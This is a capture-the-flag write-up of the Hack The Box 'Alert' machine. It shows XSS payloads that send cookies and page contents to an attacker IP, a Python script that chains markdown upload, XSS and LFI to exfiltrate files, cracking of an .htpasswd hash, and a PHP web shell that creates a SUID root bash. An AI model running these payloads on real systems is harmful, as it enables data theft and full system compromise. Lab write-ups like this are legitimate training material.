Alert
Recon
HTTP (80)

Application is built with PHP and the way it's changing pages was odd to me, LFI php://
payloads didn't successed.
Passive recon
└─$ feroxbuster -u 'http://alert.htb/' -w /usr/share/seclists/Discovery/Web-Content/common.txt
by Ben "epi" Risher 🤓 ver: 2.10.3
403 GET 9l 28w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302 GET 23l 48w 660c http://alert.htb/index.php => index.php?page=alert
200 GET 182l 385w 3622c http://alert.htb/css/style.css
302 GET 23l 48w 660c http://alert.htb/ => index.php?page=alert
301 GET 9l 28w 304c http://alert.htb/css => http://alert.htb/css/
301 GET 9l 28w 309c http://alert.htb/messages => http://alert.htb/messages/
301 GET 9l 28w 308c http://alert.htb/uploads => http://alert.htb/uploads/
200 GET 182l 385w 3622c http://alert.htb/css/style
[####################] - 26s 18921/18921 0s found:7 errors:16
[####################] - 21s 4728/4728 228/s http://alert.htb/
[####################] - 15s 4728/4728 318/s http://alert.htb/css/
[####################] - 11s 4728/4728 414/s http://alert.htb/messages/
[####################] - 10s 4728/4728 482/s http://alert.htb/uploads/
└─$ domain='alert.htb'; ffuf -u "http://$domain/" -H "Host: FUZZ.$domain" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc all -fw 20
v2.1.0-dev
statistics [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 73ms]
:: Progress: [4989/4989] :: Job [1/1] :: 546 req/sec :: Duration: [0:00:13] :: Errors: 0 ::
XSS is possible from Contact Us page
<img src=x onerror=this.src="http://10.10.14.122/?cookie="+document.cookie>
└─$ listen 80
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.129.230.120:43940.
GET /?cookie="+document.cookie> HTTP/1.1
Host: 10.10.14.122
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
But no cookies.
<img src=x onerror="" />
<svg onload=this.src=`http://10.10.14.122/?cookie=${document.cookie}`//

Soo... like after trying different payloads I concluded that XSS works, but there are no cookies so what can you even do on client side?? On last step I tried pasting the URL of my machine and I just got callback... Contact Us sends requests to any endpoint if it's like a url... sigh...
On first tests I redirected it to my website with index.html
with script
tags for JavaScript and it was successful. But bot visited the actual page of my server, not just request.
We know that /messages.php
exists, but we users have nothing, but what if bot does? This is where markdown thingy comes into play, because we can share the URL and obey the rules of CORS.
from requests import Session
from bs4 import BeautifulSoup as BS
URL = 'http://alert.htb'
JS = '''
<script>
const endpoint = '/messages.php';
const C2 = 'http://10.10.14.122';
fetch(endpoint)
.then(function(response) { return response.text(); })
.then(function(html) { fetch(`${C2}/?data=${encodeURIComponent(html)}`) })
.catch(function(error) { fetch(`${C2}/?err=${encodeURIComponent(error)}`)});
</script>
'''
with Session() as session:
session.proxies = {'http': 'http://127.0.0.1:8080'}
payload = {'file': ('letmein.md', JS)}
resp = session.post(f'{URL}/visualizer.php', files=payload)
share_link = BS(resp.text, 'html.parser').find('a')['href']
print(share_link)
payload = {'email': 'let@me.in', 'message': share_link}
resp = session.post(f'{URL}/contact.php', data=payload)
print(resp)
10.129.230.120 - - [23/Nov/2024 15:12:57] "GET /?data=%3Ch1%3EMessages%3C%2Fh1%3E%3Cul%3E%3Cli%3E%3Ca%20href%3D%27messages.php%3Ffile%3D2024-03-10_15-48-34.txt%27%3E2024-03-10_15-48-34.txt%3C%2Fa%3E%3C%2Fli%3E%3C%2Ful%3E%0A HTTP/1.1" 200 -
---
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>HTTP/1.1" 200 -
The message doesn't exist, but it appears LFI is possible from /messages.php

To make life easier create server that will auto decode the contents.
import http.server, sys
from urllib.parse import parse_qs, unquote, urlparse
class MyHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
for values in parse_qs(urlparse(self.path).query).values():
for value in values:
print(unquote(value))
print('- ' * 30)
def log_message(self, format, *args):
...
if __name__ == '__main__':
port = 80
if len(sys.argv) > 1: port = int(sys.argv[1])
server_address = ('', port)
httpd = http.server.HTTPServer(server_address, MyHandler)
print(f"Starting server on port {port}...")
httpd.serve_forever()
Make previous script interactive LFI:
from requests import Session
from bs4 import BeautifulSoup as BS
import readline
URL = 'http://alert.htb'
JS = '''
<script>
const endpoint = '/messages.php?file=../../../../../..LFI';
const C2 = 'http://10.10.14.122';
fetch(endpoint)
.then(function(response) { return response.text(); })
.then(function(html) { fetch(`${C2}/?data=${encodeURIComponent(html)}`) })
.catch(function(error) { fetch(`${C2}/?err=${encodeURIComponent(error)}`)});
</script>
'''
with Session() as session:
session.proxies = {'http': 'http://127.0.0.1:8080'}
while True:
js = JS.replace('LFI', input('Filename: '))
payload = {'file': ('letmein.md', js)}
resp = session.post(f'{URL}/visualizer.php', files=payload)
share_link = BS(resp.text, 'html.parser').find('a')['href']
payload = {'email': 'let@me.in', 'message': share_link}
resp = session.post(f'{URL}/contact.php', data=payload)
After enumerating apache I found site configs in /etc/apache2/sites-available/000-default.conf
:
<VirtualHost *:80>
ServerName alert.htb
DocumentRoot /var/www/alert.htb
<Directory /var/www/alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^alert\.htb$
RewriteCond %{HTTP_HOST} !^$
RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
/var/www/statistics.alert.htb/.htpasswd
is interesting.
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
➜ .\hashcat.exe --show .\hashes
1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server
➜ .\hashcat.exe -m 1600 -a 0 .\hashes .\rockyou.txt
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited
Creds:
albert:manchesterunited
SSH
User.txt
albert@alert:~$ cat user.txt
8edfee6e2592a6cd0fcc294cc046ed63
Privilege Escalation
albert@alert:/opt/website-monitor$ ls -alh
total 96K
drwxrwxr-x 7 root root 4.0K Oct 12 01:07 .
drwxr-xr-x 4 root root 4.0K Oct 12 00:58 ..
drwxrwxr-x 2 root management 4.0K Oct 12 04:17 config
drwxrwxr-x 8 root root 4.0K Oct 12 00:58 .git
drwxrwxr-x 2 root root 4.0K Oct 12 00:58 incidents
-rwxrwxr-x 1 root root 5.2K Oct 12 01:00 index.php
-rwxrwxr-x 1 root root 1.1K Oct 12 00:58 LICENSE
-rwxrwxr-x 1 root root 1.5K Oct 12 01:00 monitor.php
drwxrwxrwx 2 root root 4.0K Oct 12 01:07 monitors
-rwxrwxr-x 1 root root 104 Oct 12 01:07 monitors.json
-rwxrwxr-x 1 root root 40K Oct 12 00:58 Parsedown.php
-rwxrwxr-x 1 root root 1.7K Oct 12 00:58 README.md
-rwxrwxr-x 1 root root 1.9K Oct 12 00:58 style.css
drwxrwxr-x 2 root root 4.0K Oct 12 00:58 updates
albert@alert:/opt/website-monitor$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
albert@alert:/opt/website-monitor/config$ cat configuration.php
<?php
define('PATH', '/opt/website-monitor');
?>
App seems to be running on 8080.
albert@alert:/opt/website-monitor$ ss -tunlp4
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
There's some kind of cronjob running on server that deletes the configuration.php
like every second or something, run commands in batch:
echo '<?=`install -m 4777 /bin/bash /tmp/rootbash`?>' > /opt/website-monitor/config/configuration.php
curl '0:8080/config/configuration.php'
/tmp/rootbash -p
Root.txt
rootbash-5.0# cat root.txt
ae0c1b4fc044e7f6b3731a620a083255
Last updated